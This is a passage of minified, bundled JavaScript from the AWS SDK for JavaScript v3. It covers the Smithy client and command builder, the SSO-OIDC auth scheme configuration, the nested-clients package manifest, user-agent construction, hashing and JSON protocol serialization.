0;(function(A){A.HEADER="header",A.QUERY="query"})(Wb5.HttpAuthLocation||(Wb5.HttpAuthLocation={}));Wb5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(Wb5.HttpApiKeyAuthLocation||(Wb5.HttpApiKeyAuthLocation={}));Wb5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(Wb5.EndpointURLScheme||(Wb5.EndpointURLScheme={}));Wb5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(Wb5.AlgorithmId||(Wb5.AlgorithmId={}));var Xb5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>Wb5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>Wb5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},$b5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},_b5=(A)=>{return Xb5(A)},Gb5=(A)=>{return $b5(A)};Wb5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(Wb5.FieldPosition||(Wb5.FieldPosition={}));var Zb5="__smithy_context";Wb5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(Wb5.IniSectionType||(Wb5.IniSectionType={}));Wb5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(Wb5.RequestHandlerProtocol||(Wb5.RequestHandlerProtocol={}));Wb5.SMITHY_CONTEXT_KEY=Zb5;Wb5.getDefaultClientConfiguration=_b5;Wb5.resolveDefaultRuntimeConfig=Gb5});var ej=v((NOA)=>{var Vc8=Fb(),uo1=VV(),ho1=Io1(),Pb5=DJ(),Mc8=PV();class fc8{config;middlewareStack=Vc8.constructStack();initConfig;handlers;constructor(A){this.config=A}send(A,K,q){let Y=typeof K!=="function"?K:void 0,z=typeof K==="function"?K:q,w=Y===void 0&&this.config.cacheMiddleware===!0,H;if(w){if(!this.handlers)this.handlers=new WeakMap;let J=this.handlers;if(J.has(A.constructor))H=J.get(A.constructor);else H=A.resolveMiddleware(this.middlewareStack,this.config,Y),J.set(A.constructor,H)}else delete this.handlers,H=A.resolveMiddleware(this.middlewareStack,this.config,Y);if(z)H(A).then((J)=>z(null,J.output),(J)=>z(J)).catch(()=>{});else return H(A).then((J)=>J.output)}destroy(){this.config?.requestHandler?.destroy?.(),delete this.handlers}}var So1="***SensitiveInformation***";function bo1(A,K){if(K==null)return K;let q=Pb5.NormalizedSchema.of(A);if(q.getMergedTraits().sensitive)return So1;if(q.isListSchema()){if(!!q.getValueSchema().getMergedTraits().sensitive)return So1}else if(q.isMapSchema()){if(!!q.getKeySchema().getMergedTraits().sensitive||!!q.getValueSchema().getMergedTraits().sensitive)return So1}else if(q.isStructSchema()&&typeof K==="object"){let Y=K,z={};for(let[w,H]of q.structIterator())if(Y[w]!=null)z[w]=bo1(H,Y[w]);return z}return K}class Bo1{middlewareStack=Vc8.constructStack();schema;static classBuilder(){return new Nc8}resolveMiddlewareWithContext(A,K,q,{middlewareFn:Y,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,smithyContext:O,additionalContext:X,CommandCtor:$}){for(let D of Y.bind(this)($,A,K,q))this.middlewareStack.use(D);let _=A.concat(this.middlewareStack),{logger:G}=K,Z={logger:G,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,[ho1.SMITHY_CONTEXT_KEY]:{commandInstance:this,...O},...X},{requestHandler:W}=K;return _.resolve((D)=>W.handle(D.request,q||{}),Z)}}class Nc8{_init=()=>{};_ep={};_middlewareFn=()=>[];_commandName="";_clientName="";_additionalContext={};_smithyContext={};_inputFilterSensitiveLog=void 0;_outputFilterSensitiveLog=void 0;_serializer=null;_deserializer=null;_operationSchema;init(A){this._init=A}ep(A){return this._ep=A,this}m(A){return this._middlewareFn=A,this}s(A,K,q={}){return this._smithyContext={service:A,operation:K,...q},this}c(A={}){return this._additionalContext=A,this}n(A,K){return this._clientName=A,this._commandName=K,this}f(A=(q)=>q,K=(q)=>q){return this._inputFilterSensitiveLog=A,this._outputFilterSensitiveLog=K,this}ser(A){return this._serializer=A,this}de(A){return this._deserializer=A,this}sc(A){return this._operationSchema=A,this._smithyContext.operationSchema=A,this}build(){let A=this,K;return K=class extends Bo1{input;static getEndpointParameterInstructions(){return A._ep}constructor(...[q]){super();this.input=q??{},A._init(this),this.schema=A._operationSchema}resolveMiddleware(q,Y,z){let w=A._operationSchema,H=w?.[4]??w?.input,J=w?.[5]??w?.output;return this.resolveMiddlewareWithContext(q,Y,z,{CommandCtor:K,middlewareFn:A._middlewareFn,clientName:A._clientName,commandName:A._commandName,inputFilterSensitiveLog:A._inputFilterSensitiveLog??(w?bo1.bind(null,H):(O)=>O),outputFilterSensitiveLog:A._outputFilterSensitiveLog??(w?bo1.bind(null,J):(O)=>O),smithyContext:A._smithyContext,additionalContext:A._additionalContext})}serialize=A._serializer;deserialize=A._deserializer}}}var Vb5="***SensitiveInformation***",fb5=(A,K)=>{for(let q of Object.keys(A)){let Y=A[q],z=async function(H,J,O){let X=new Y(H);if(typeof J==="function")this.send(X,J);else if(typeof O==="function"){if(typeof J!=="object")throw Error(`Expected http options but got ${typeof J}`);this.send(X,J||{},O)}else return this.send(X,J)},w=(q[0].toLowerCase()+q.slice(1)).replace(/Command$/,"");K.prototype[w]=z}};class fOA extends Error{$fault;$response;$retryable;$metadata;constructor(A){super(A.message);Object.setPrototypeOf(this,Object.getPrototypeOf(this).constructor.prototype),this.name=A.name,this.$fault=A.$fault,this.$metadata=A.$metadata}static isInstance(A){if(!A)return!1;let K=A;return fOA.prototype.isPrototypeOf(K)||Boolean(K.$fault)&&Boolean(K.$metadata)&&(K.$fault==="client"||K.$fault==="server")}static[Symbol.hasInstance](A){if(!A)return!1;let K=A;if(this===fOA)return fOA.isInstance(A);if(fOA.isInstance(A)){if(K.name&&this.name)return this.prototype.isPrototypeOf(A)||K.name===this.name;return this.prototype.isPrototypeOf(A)}return!1}}var Tc8=(A,K={})=>{Object.entries(K).filter(([,Y])=>Y!==void 0).forEach(([Y,z])=>{if(A[Y]==null||A[Y]==="")A[Y]=z});let q=A.message||A.Message||"UnknownError";return A.message=q,delete A.Message,A},vc8=({output:A,parsedBody:K,exceptionCtor:q,errorCode:Y})=>{let z=Tb5(A),w=z.httpStatusCode?z.httpStatusCode+"":void 0,H=new q({name:K?.code||K?.Code||Y||w||"UnknownError",$fault:"client",$metadata:z});throw Tc8(H,K)},Nb5=(A)=>{return({output:K,parsedBody:q,errorCode:Y})=>{vc8({output:K,parsedBody:q,exceptionCtor:A,errorCode:Y})}},Tb5=(A)=>({httpStatusCode:A.statusCode,requestId:A.headers["x-amzn-requestid"]??A.headers["x-amzn-request-id"]??A.headers["x-amz-request-id"],extendedRequestId:A.headers["x-amz-id-2"],cfId:A.headers["x-amz-cf-id"]}),vb5=(A)=>{switch(A){case"standard":return{retryMode:"standard",connectionTimeout:3100};case"in-region":return{retryMode:"standard",connectionTimeout:1100};case"cross-region":return{retryMode:"standard",connectionTimeout:3100};case"mobile":return{retryMode:"standard",connectionTimeout:30000};default:return{}}},Pc8=!1,Eb5=(A)=>{if(A&&!Pc8&&parseInt(A.substring(1,A.indexOf(".")))<16)Pc8=!0},kb5=(A)=>{let K=[];for(let q in ho1.AlgorithmId){let Y=ho1.AlgorithmId[q];if(A[Y]===void 0)continue;K.push({algorithmId:()=>Y,checksumConstructor:()=>A[Y]})}return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},Cb5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},Lb5=(A)=>{return{setRetryStrategy(K){A.retryStrategy=K},retryStrategy(){return A.retryStrategy}}},Rb5=(A)=>{let K={};return K.retryStrategy=A.retryStrategy(),K},Ec8=(A)=>{return Object.assign(kb5(A),Lb5(A))},yb5=Ec8,Ib5=(A)=>{return Object.assign(Cb5(A),Rb5(A))},Sb5=(A)=>Array.isArray(A)?A:[A],kc8=(A)=>{for(let q in A)if(A.hasOwnProperty(q)&&A[q]["#text"]!==void 0)A[q]=A[q]["#text"];else if(typeof A[q]==="object"&&A[q]!==null)A[q]=kc8(A[q]);return A},hb5=(A)=>{return A!=null};class Cc8{trace(){}debug(){}info(){}warn(){}error(){}}function Lc8(A,K,q){let Y,z,w;if(typeof K>"u"&&typeof q>"u")Y={},w=A;else if(Y=A,typeof K==="function")return z=K,w=q,ub5(Y,z,w);else w=K;for(let H of Object.keys(w)){if(!Array.isArray(w[H])){Y[H]=w[H];continue}Rc8(Y,null,w,H)}return Y}var bb5=(A)=>{let K={};for(let[q,Y]of Object.entries(A||{}))K[q]=[,Y];return K},xb5=(A,K)=>{let q={};for(let Y in K)Rc8(q,A,K,Y);return q},ub5=(A,K,q)=>{return Lc8(A,Object.entries(q).reduce((Y,[z,w])=>{if(Array.isArray(w))Y[z]=w;else if(typeof w==="function")Y[z]=[K,w()];else Y[z]=[K,w];return Y},{}))},Rc8=(A,K,q,Y)=>{if(K!==null){let H=q[Y];if(typeof H==="function")H=[,H];let[J=Bb5,O=mb5,X=Y]=H;if(typeof J==="function"&&J(K[X])||typeof J!=="function"&&!!J)A[Y]=O(K[X]);return}let[z,w]=q[Y];if(typeof w==="function"){let H,J=z===void 0&&(H=w())!=null,O=typeof z==="function"&&!!z(void 0)||typeof z!=="function"&&!!z;if(J)A[Y]=H;else if(O)A[Y]=w()}else{let H=z===void 0&&w!=null,J=typeof z==="function"&&!!z(w)||typeof z!=="function"&&!!z;if(H||J)A[Y]=w}},Bb5=(A)=>A!=null,mb5=(A)=>A,gb5=(A)=>{if(A!==A)return"NaN";switch(A){case 1/0:return"Infinity";case-1/0:return"-Infinity";default:return A}},Fb5=(A)=>A.toISOString().replace(".000Z","Z"),xo1=(A)=>{if(A==null)return{};if(Array.isArray(A))return A.filter((K)=>K!=null).map(xo1);if(typeof A==="object"){let K={};for(let q of Object.keys(A)){if(A[q]==null)continue;K[q]=xo1(A[q])}return K}return A};Object.defineProperty(NOA,"collectBody",{enumerable:!0,get:function(){return uo1.collectBody}});Object.defineProperty(NOA,"extendedEncodeURIComponent",{enumerable:!0,get:function(){return uo1.extendedEncodeURIComponent}});Object.defineProperty(NOA,"resolvedPath",{enumerable:!0,get:function(){return uo1.resolvedPath}});NOA.Client=fc8;NOA.Command=Bo1;NOA.NoOpLogger=Cc8;NOA.SENSITIVE_STRING=Vb5;NOA.ServiceException=fOA;NOA._json=xo1;NOA.convertMap=bb5;NOA.createAggregatedClient=fb5;NOA.decorateServiceException=Tc8;NOA.emitWarningIfUnsupportedVersion=Eb5;NOA.getArrayIfSingleItem=Sb5;NOA.getDefaultClientConfiguration=yb5;NOA.getDefaultExtensionConfiguration=Ec8;NOA.getValueFromTextNode=kc8;NOA.isSerializableHeaderValue=hb5;NOA.loadConfigsForDefaultMode=vb5;NOA.map=Lc8;NOA.resolveDefaultRuntimeConfig=Ib5;NOA.serializeDateTime=Fb5;NOA.serializeFloat=gb5;NOA.take=xb5;NOA.throwDefaultError=vc8;NOA.withBaseException=Nb5;Object.keys(Mc8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(NOA,A))Object.defineProperty(NOA,A,{enumerable:!0,get:function(){return Mc8[A]}})})});var go1=v((yc8)=>{Object.defineProperty(yc8,"__esModule",{value:!0});yc8.resolveHttpAuthSchemeConfig=yc8.defaultSSOOIDCHttpAuthSchemeProvider=yc8.defaultSSOOIDCHttpAuthSchemeParametersProvider=void 0;var Xx5=aw(),mo1=WD(),$x5=async(A,K,q)=>{return{operation:(0,mo1.getSmithyContext)(K).operation,region:await(0,mo1.normalizeProvider)(A.region)()||(()=>{throw Error("expected `region` to be configured for `aws.auth#sigv4`")})()}};yc8.defaultSSOOIDCHttpAuthSchemeParametersProvider=$x5;function _x5(A){return{schemeId:"aws.auth#sigv4",signingProperties:{name:"sso-oauth",region:A.region},propertiesExtractor:(K,q)=>({signingProperties:{config:K,context:q}})}}function Gx5(A){return{schemeId:"smithy.api#noAuth"}}var Zx5=(A)=>{let K=[];switch(A.operation){case"CreateToken":{K.push(Gx5(A));break}default:K.push(_x5(A))}return K};yc8.defaultSSOOIDCHttpAuthSchemeProvider=Zx5;var Wx5=(A)=>{let K=(0,Xx5.resolveAwsSdkSigV4Config)(A);return Object.assign(K,{authSchemePreference:(0,mo1.normalizeProvider)(A.authSchemePreference??[])})};yc8.resolveHttpAuthSchemeConfig=Wx5});var _81=v((jez,Mx5)=>{Mx5.exports={name:"@aws-sdk/nested-clients",version:"3.936.0",description:"Nested clients for AWS SDK packages.",main:"./dist-cjs/index.js",module:"./dist-es/index.js",types:"./dist-types/index.d.ts",scripts:{build:"yarn lint && concurrently 'yarn:build:cjs' 'yarn:build:es' 'yarn:build:types'","build:cjs":"node ../../scripts/compilation/inline nested-clients","build:es":"tsc -p tsconfig.es.json","build:include:deps":"lerna run --scope $npm_package_name --include-dependencies build","build:types":"tsc -p tsconfig.types.json","build:types:downlevel":"downlevel-dts dist-types dist-types/ts3.4",clean:"rimraf ./dist-* && rimraf *.tsbuildinfo",lint:"node ../../scripts/validation/submodules-linter.js --pkg nested-clients",test:"yarn g:vitest run","test:watch":"yarn g:vitest watch"},engines:{node:">=18.0.0"},sideEffects:!1,author:{name:"AWS SDK for JavaScript Team",url:"https://aws.amazon.com/javascript/"},license:"Apache-2.0",dependencies:{"@aws-crypto/sha256-browser":"5.2.0","@aws-crypto/sha256-js":"5.2.0","@aws-sdk/core":"3.936.0","@aws-sdk/middleware-host-header":"3.936.0","@aws-sdk/middleware-logger":"3.936.0","@aws-sdk/middleware-recursion-detection":"3.936.0","@aws-sdk/middleware-user-agent":"3.936.0","@aws-sdk/region-config-resolver":"3.936.0","@aws-sdk/types":"3.936.0","@aws-sdk/util-endpoints":"3.936.0","@aws-sdk/util-user-agent-browser":"3.936.0","@aws-sdk/util-user-agent-node":"3.936.0","@smithy/config-resolver":"^4.4.3","@smithy/core":"^3.18.5","@smithy/fetch-http-handler":"^5.3.6","@smithy/hash-node":"^4.2.5","@smithy/invalid-dependency":"^4.2.5","@smithy/middleware-content-length":"^4.2.5","@smithy/middleware-endpoint":"^4.3.12","@smithy/middleware-retry":"^4.4.12","@smithy/middleware-serde":"^4.2.6","@smithy/middleware-stack":"^4.2.5","@smithy/node-config-provider":"^4.3.5","@smithy/node-http-handler":"^4.4.5","@smithy/protocol-http":"^5.3.5","@smithy/smithy-client":"^4.9.8","@smithy/types":"^4.9.0","@smithy/url-parser":"^4.2.5","@smithy/util-base64":"^4.3.0","@smithy/util-body-length-browser":"^4.2.0","@smithy/util-body-length-node":"^4.2.1","@smithy/util-defaults-mode-browser":"^4.3.11","@smithy/util-defaults-mode-node":"^4.2.14","@smithy/util-endpoints":"^3.2.5","@smithy/util-middleware":"^4.2.5","@smithy/util-retry":"^4.2.5","@smithy/util-utf8":"^4.2.0",tslib:"^2.6.2"},devDependencies:{concurrently:"7.0.0","downlevel-dts":"0.10.1",rimraf:"3.0.2",typescript:"~5.8.3"},typesVersions:{"<4.0":{"dist-types/*":["dist-types/ts3.4/*"]}},files:["./signin.d.ts","./signin.js","./sso-oidc.d.ts","./sso-oidc.js","./sts.d.ts","./sts.js","dist-*/**"],browser:{"./dist-es/submodules/signin/runtimeConfig":"./dist-es/submodules/signin/runtimeConfig.browser","./dist-es/submodules/sso-oidc/runtimeConfig":"./dist-es/submodules/sso-oidc/runtimeConfig.browser","./dist-es/submodules/sts/runtimeConfig":"./dist-es/submodules/sts/runtimeConfig.browser"},"react-native":{},homepage:"https://github.com/aws/aws-sdk-js-v3/tree/main/packages/nested-clients",repository:{type:"git",url:"https://github.com/aws/aws-sdk-js-v3.git",directory:"packages/nested-clients"},exports:{"./package.json":"./package.json","./sso-oidc":{types:"./dist-types/submodules/sso-oidc/index.d.ts",module:"./dist-es/submodules/sso-oidc/index.js",node:"./dist-cjs/submodules/sso-oidc/index.js",import:"./dist-es/submodules/sso-oidc/index.js",require:"./dist-cjs/submodules/sso-oidc/index.js"},"./sts":{types:"./dist-types/submodules/sts/index.d.ts",module:"./dist-es/submodules/sts/index.js",node:"./dist-cjs/submodules/sts/index.js",import:"./dist-es/submodules/sts/index.js",require:"./dist-cjs/submodules/sts/index.js"},"./signin":{types:"./dist-types/submodules/signin/index.d.ts",module:"./dist-es/submodules/signin/index.js",node:"./dist-cjs/submodules/signin/index.js",import:"./dist-es/submodules/signin/index.js",require:"./dist-cjs/submodules/signin/index.js"}}}});var oF=v((vx5)=>{var Sc8=CA("os"),Fo1=CA("process"),Px5=Ub(),hc8={isCrtAvailable:!1},Vx5=()=>{if(hc8.isCrtAvailable)return["md/crt-avail"];return null},bc8=({serviceId:A,clientVersion:K})=>{return async(q)=>{let Y=[["aws-sdk-js",K],["ua","2.1"],[`os/${Sc8.platform()}`,Sc8.release()],["lang/js"],["md/nodejs",`${Fo1.versions.node}`]],z=Vx5();if(z)Y.push(z);if(A)Y.push([`api/${A}`,K]);if(Fo1.env.AWS_EXECUTION_ENV)Y.push([`exec-env/${Fo1.env.AWS_EXECUTION_ENV}`]);let w=await q?.userAgentAppId?.();return w?[...Y,[`app/${w}`]]:[...Y]}},fx5=bc8,xc8="AWS_SDK_UA_APP_ID",uc8="sdk_ua_app_id",Nx5="sdk-ua-app-id",Tx5={environmentVariableSelector:(A)=>A[xc8],configFileSelector:(A)=>A[uc8]??A[Nx5],default:Px5.DEFAULT_UA_APP_ID};vx5.NODE_APP_ID_CONFIG_OPTIONS=Tx5;vx5.UA_APP_ID_ENV_NAME=xc8;vx5.UA_APP_ID_INI_NAME=uc8;vx5.createDefaultUserAgentProvider=bc8;vx5.crtAvailability=hc8;vx5.defaultUserAgent=fx5});var Bc8=v((Sx5)=>{var Ix5=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";Sx5.isArrayBuffer=Ix5});var mc8=v((Bx5)=>{var bx5=Bc8(),Qo1=CA("buffer"),xx5=(A,K=0,q=A.byteLength-K)=>{if(!bx5.isArrayBuffer(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return Qo1.Buffer.from(A,K,q)},ux5=(A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?Qo1.Buffer.from(A,K):Qo1.Buffer.from(A)};Bx5.fromArrayBuffer=xx5;Bx5.fromString=ux5});var aF=v((Ux5)=>{var Uo1=mc8(),Fx5=_z(),Qx5=CA("buffer"),gc8=CA("crypto");class Qc8{algorithmIdentifier;secret;hash;constructor(A,K){this.algorithmIdentifier=A,this.secret=K,this.reset()}update(A,K){this.hash.update(Fx5.toUint8Array(Fc8(A,K)))}digest(){return Promise.resolve(this.hash.digest())}reset(){this.hash=this.secret?gc8.createHmac(this.algorithmIdentifier,Fc8(this.secret)):gc8.createHash(this.algorithmIdentifier)}}function Fc8(A,K){if(Qx5.Buffer.isBuffer(A))return A;if(typeof A==="string")return Uo1.fromString(A,K);if(ArrayBuffer.isView(A))return Uo1.fromArrayBuffer(A.buffer,A.byteOffset,A.byteLength);return Uo1.fromArrayBuffer(A)}Ux5.Hash=Qc8});var sF=v((cx5)=>{var po1=CA("node:fs"),dx5=(A)=>{if(!A)return 0;if(typeof A==="string")return Buffer.byteLength(A);else if(typeof A.byteLength==="number")return A.byteLength;else if(typeof A.size==="number")return A.size;else if(typeof A.start==="number"&&typeof A.end==="number")return A.end+1-A.start;else if(A instanceof po1.ReadStream){if(A.path!=null)return po1.lstatSync(A.path).size;else if(typeof A.fd==="number")return po1.fstatSync(A.fd).size}throw Error(`Body Length computation failed for ${A}`)};cx5.calculateBodyLength=dx5});var eF=v((ex5)=>{var Uc8=Tn1(),Wz=DJ(),tF=In1(),CZ=VV(),t_=PV(),KLA=bn1(),dc8=_z(),Ak=Bn1();class TOA{queryCompat;constructor(A=!1){this.queryCompat=A}resolveRestContentType(A,K){let q=K.getMemberSchemas(),Y=Object.values(q).find((z)=>{return!!z.getMergedTraits().httpPayload});if(Y){let z=Y.getMergedTraits().mediaType;if(z)return z;else if(Y.isStringSchema())return"text/plain";else if(Y.isBlobSchema())return"application/octet-stream";else return A}else if(!K.isUnitSchema()){if(Object.values(q).find((w)=>{let{httpQuery:H,httpQueryParams:J,httpHeader:O,httpLabel:X,httpPrefixHeaders:$}=w.getMergedTraits();return!H&&!J&&!O&&!X&&$===void 0}))return A}}async getErrorSchemaOrThrowBaseException(A,K,q,Y,z,w){let H=K,J=A;if(A.includes("#"))[H,J]=A.split("#");let O={$metadata:z,$fault:q.statusCode<500?"client":"server"},X=Wz.TypeRegistry.for(H);try{return{errorSchema:w?.(X,J)??X.getSchema(A),errorMetadata:O}}catch($){Y.message=Y.message??Y.Message??"UnknownError";let _=Wz.TypeRegistry.for("smithy.ts.sdk.synthetic."+H),G=_.getBaseException();if(G){let Z=_.getErrorCtor(G)??Error;throw this.decorateServiceException(Object.assign(new Z({name:J}),O),Y)}throw this.decorateServiceException(Object.assign(Error(J),O),Y)}}decorateServiceException(A,K={}){if(this.queryCompat){let q=A.Message??K.Message,Y=tF.decorateServiceException(A,K);if(q)Y.Message=q,Y.message=q;return Y}return tF.decorateServiceException(A,K)}setQueryCompatError(A,K){let q=K.headers?.["x-amzn-query-error"];if(A!==void 0&&q!=null){let[Y,z]=q.split(";"),w=Object.entries(A),H={Code:Y,Type:z};Object.assign(A,H);for(let[J,O]of w)H[J]=O;delete H.__type,A.Error=H}}queryCompatOutput(A,K){if(A.Error)K.Error=A.Error;if(A.Type)K.Type=A.Type;if(A.Code)K.Code=A.Code}}class cc8 extends Uc8.SmithyRpcV2CborProtocol{awsQueryCompatible;mixin;constructor({defaultNamespace:A,awsQueryCompatible:K}){super({defaultNamespace:A});this.awsQueryCompatible=!!K,this.mixin=new TOA(this.awsQueryCompatible)}async serializeRequest(A,K,q){let Y=await super.serializeRequest(A,K,q);if(this.awsQueryCompatible)Y.headers["x-amzn-query-mode"]="true";return Y}async handleError(A,K,q,Y,z){if(this.awsQueryCompatible)this.mixin.setQueryCompatError(Y,q);let w=Uc8.loadSmithyRpcV2CborErrorCode(q,Y)??"Unknown",{errorSchema:H,errorMetadata:J}=await this.mixin.getErrorSchemaOrThrowBaseException(w,this.options.defaultNamespace,q,Y,z),O=Wz.NormalizedSchema.of(H),X=Y.message??Y.Message??"Unknown",_=new(Wz.TypeRegistry.for(H[1]).getErrorCtor(H)??Error)(X),G={};for(let[Z,W]of O.structIterator())G[Z]=this.deserializer.readValue(W,Y[Z]);if(this.awsQueryCompatible)this.mixin.queryCompatOutput(Y,G);throw this.mixin.decorateServiceException(Object.assign(_,J,{$fault:O.getMergedTraits().error,message:X},G),Y)}}var ix5=(A)=>{if(A==null)return A;if(typeof A==="number"||typeof A==="bigint"){let K=Error(`Received number ${A} where a string was expected.`);return K.name="Warning",console.warn(K),String(A)}if(typeof A==="boolean"){let K=Error(`Received boolean ${A} where a string was expected.`);return K.name="Warning",console.warn(K),String(A)}return A},nx5=(A)=>{if(A==null)return A;if(typeof A==="string"){let K=A.toLowerCase();if(A!==""&&K!=="false"&&K!=="true"){let q=Error(`Received string "${A}" where a boolean was expected.`);q.name="Warning",console.warn(q)}return A!==""&&K!=="false"}return A},rx5=(A)=>{if(A==null)return A;if(typeof A==="string"){let K=Number(A);if(K.toString()!==A){let q=Error(`Received string "${A}" where a number was expected.`);return q.name="Warning",console.warn(q),A}return K}return A};class Yn{serdeContext;setSerdeContext(A){this.serdeContext=A}}function ox5(A,K,q){if(q?.source){let Y=q.source;if(typeof K==="number"){if(K>Number.MAX_SAFE_INTEGER||K<Number.MIN_SAFE_INTEGER||Y!==String(K))if(Y.includes("."))return new t_.NumericValue(Y,"bigDecimal");else return BigInt(Y)}}return K}var lc8=(A,K)=>tF.collectBody(A,K).then((q)=>(K?.utf8Encoder??dc8.toUtf8)(q)),do1=(A,K)=>lc8(A,K).then((q)=>{if(q.length)try{return JSON.parse(q)}catch(Y){if(Y?.name==="SyntaxError")Object.defineProperty(Y,"$responseBodyText",{value:q});throw Y}return{}}),ax5=async(A,K)=>{let q=await do1(A,K);return q.message=q.message??q.Message,q},co1=(A,K)=>{let q=(w,H)=>Object.keys(w).find((J)=>J.toLowerCase()===H.toLowerCase()),Y=(w)=>{let H=w;if(typeof H==="number")H=H.toString();if(H.indexOf(",")>=0)H=H.split(",")[0];if(H.indexOf(":")>=0)H=H.split(":")[0];if(H.indexOf("#")>=0)H=H.split("#")[1];return H},z=q(A.headers,"x-amzn-errortype");if(z!==void 0)return Y(A.headers[z]);if(K&&typeof K==="object"){let w=q(K,"code");if(w&&K[w]!==void 0)return Y(K[w]);if(K.__type!==void 0)return Y(K.__type)}};class lo1 extends Yn{settings;constructor(A){super();this.settings=A}async read(A,K){return this._read(A,typeof K==="string"?JSON.parse(K,ox5):await do1(K,this.serdeContext))}readObject(A,K){return this._read(A,K)}_read(A,K){let q=K!==null&&typeof K==="object",Y=Wz.NormalizedSchema.of(A);if(Y.isListSchema()&&Array.isArray(K)){let w=Y.getValueSchema(),H=[],J=!!Y.getMergedTraits().sparse;for(let O of K)if(J||O!=null)H.push(this._read(w,O));return H}else if(Y.isMapSchema()&&q){let w=Y.getValueSchema(),H={},J=!!Y.getMergedTraits().sparse;for(let[O,X]of Object.entries(K))if(J||X!=null)H[O]=this._read(w,X);return H}else if(Y.isStructSchema()&&q){let w={};for(let[H,J]of Y.structIterator()){let O=this.settings.jsonName?J.getMergedTraits().jsonName??H:H,X=this._read(J,K[O]);if(X!=null)w[H]=X}return w}if(Y.isBlobSchema()&&typeof K==="string")return KLA.fromBase64(K);let z=Y.getMergedTraits().mediaType;if(Y.isStringSchema()&&typeof K==="string"&&z){if(z==="application/json"||z.endsWith("+json"))return t_.LazyJsonString.from(K)}if(Y.isTimestampSchema()&&K!=null)switch(CZ.determineTimestampFormat(Y,this.settings)){case 5:return t_.parseRfc3339DateTimeWithOffset(K);case 6:return t_.parseRfc7231DateTime(K);case 7:return t_.parseEpochTimestamp(K);default:return console.warn("Missing timestamp format, parsing value with Date constructor:",K),new Date(K)}if(Y.isBigIntegerSchema()&&(typeof K==="number"||typeof K==="string"))return BigInt(K);if(Y.isBigDecimalSchema()&&K!=null){if(K instanceof t_.NumericValue)return K;let w=K;if(w.type==="bigDecimal"&&"string"in w)return new t_.NumericValue(w.string,w.type);return new t_.NumericValue(String(K),"bigDecimal")}if(Y.isNumericSchema()&&typeof K==="string")switch(K){case"Infinity":return 1/0;case"-Infinity":return-1/0;case"NaN":return NaN}if(Y.isDocumentSchema())if(q){let w=Array.isArray(K)?[]:{};for(let[H,J]of Object.entries(K))if(J instanceof t_.NumericValue)w[H]=J;else w[H]=this._read(Y,J);return w}else return structuredClone(K);return K}}var pc8=String.fromCharCode(925);class ic8{values=new Map;counter=0;stage=0;createReplacer(){if(this.stage===1)throw Error("@aws-sdk/core/protocols - JsonReplacer already created.");if(this.stage===2)throw Error("@aws-sdk/core/protocols - JsonReplacer exhausted.");return this.stage=1,(A,K)=>{if(K instanceof t_.NumericValue){let q=`${pc8+"nv"+this.counter++}_`+K.string;return this.values.set(`"${q}"`,K.string),q}if(typeof K==="bigint"){let q=K.toString(),Y=`${pc8+"b"+this.counter++}_`+q;return this.values.set(`"${Y}"`,q),Y}return K}}replaceInJson(A){if(this.stage===0)throw Error("@aws-sdk/core/protocols - JsonReplacer not created yet.");if(this.stage===2)throw Error("@aws-sdk/core/protocols - JsonReplacer exhausted.");if(this.stage=2,this.counter===0)return A;for(let[K,q]of this.values)A=A.replace(K,q);return A}}class io1 extends Yn{settings;buffer;rootSchema;constructor(A){super();this.settings=A}write(A,K){this.rootSchema=Wz.NormalizedSchema.of(A),this.buffer=this._write(this.rootSchema,K)}writeDiscriminatedDocument(A,K){if(this.write(A,K),typeof this.buffer==="object")this.buffer.__type=Wz.NormalizedSchema.of(A).getName(!0)}flush(){let{rootSchema:A}=this;if(this.rootSchema=void 0,A?.isStructSchema()||A?.isDocumentSchema()){let K=new ic8;return K.replaceInJson(JSON.stringify(this.buffer,K.createReplacer(),0))}return this.buffer}_write(A,K,q){let Y=K!==null&&typeof K==="object",z=Wz.NormalizedSchema.of(A);if(z.isListSchema()&&Array.isArray(K)){let w=z.getValueSchema(),H=[],J=!!z.getMergedTraits().sparse;for(let O of K)if(J||O!=null)H.push(this._write(w,O));return H}else if(z.isMapSchema()&&Y){let w=z.getValueSchema(),H={},J=!!z.getMergedTraits().sparse;for(let[O,X]of Object.entries(K))if(J||X!=null)H[O]=this._write(w,X);return H}else if(z.isStructSchema()&&Y){let w={};for(let[H,J]of z.structIterator()){let O=this.settings.jsonName?J.getMergedTraits().jsonName??H:H,X=this._write(J,K[H],z);if(X!==void 0)w[O]=X}return w}if(K===null&&q?.isStructSchema())return;if(z.isBlobSchema()&&(K instanceof Uint8Array||typeof K==="string")||z.isDocumentSchema()&&K instanceof Uint8Array){if(z===this.rootSchema)return K;return(this.serdeContext?.base64Encoder??KLA.toBase64)(K)}if((z.isTimestampSchema()||z.isDocumentSchema())&&K instanceof Date)switch(CZ.determineTimestampFormat(z,this.settings)){case 5:return 